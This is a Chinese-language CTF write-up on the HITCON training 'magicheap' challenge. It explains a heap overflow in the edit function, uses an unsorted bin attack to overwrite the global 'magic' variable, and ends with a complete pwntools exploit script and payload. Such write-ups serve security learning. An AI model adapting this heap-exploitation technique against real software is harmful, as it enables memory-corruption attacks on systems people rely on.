学习于2024-10-03 12:50:42 星期四
心得感想:
分析
ida一打开就看到很明显的提示(毕竟是教学关卡):
那么我们需要将magic修改为一个大于0x1305的数,并且该程序没有开PIE,那么magic地址就是固定的。
Delete操作删的非常彻底,很明显这里没有任何可以利用的:
Create部分看起也没有任何问题。
接下来看edit部分:
虽然难一点的题我做不出来,但是这也太明显了(把人当傻子了,谁家edit还给你改一遍自定义大小的),不过HITCON这个本来就是training,我只是想看一些我没见过的隐蔽点的漏洞点...
思路
其实已经很明显了,存在堆溢出,那么我就可以修改下一个堆的任何内容。那我直接把unsorted bin里面的bk指针修改为magic-2的位置,那么在释放unsorted bin的时候,就会执行BK->fd=fd的操作,而BK->fd实际上就是+2指针字长(64位是0x8,即加上0x10),因为我们提前magic-2了,所以写入的位置就是magic。
过程
先查看要覆盖多少个字节(记得换个libc,没有tcache的那种)
看起来到bk是8个字长:
修改成这样吧:
再次调用启动unsorted分配即可成功
源码
点击查看代码
from pwn import *
# sh=gdb.debug("./magicheap","break *0x400931")
sh=process("./magicheap")
context.log_level="DEBUG"
context.terminal=["tmux","new-window"]
def dbg():
gdb.attach(sh)
pause()
def add(length,content="0"):
sh.sendlineafter(":","1")
sh.sendlineafter(":",str(length))
sh.sendlineafter(":",content)
def edit(index,size,content):
sh.sendlineafter(":","2")
sh.sendlineafter(":",str(index))
sh.sendlineafter(":",str(size))
sh.sendlineafter(":",content)
def remove(index):
sh.sendlineafter(":","3")
sh.sendlineafter(":",str(index))
add(0x20)
add(0x80)
add(0x20) #don't combinate with TOP chunk
remove(1)
magic=0x6020c0
payload=b"a"*0x20+p64(0)+p64(0x91)+p64(0)+p64(magic-0x10)
edit(0,0x40,payload)
add(0x80)
sh.sendlineafter(":",str(4869))
sh.interactive()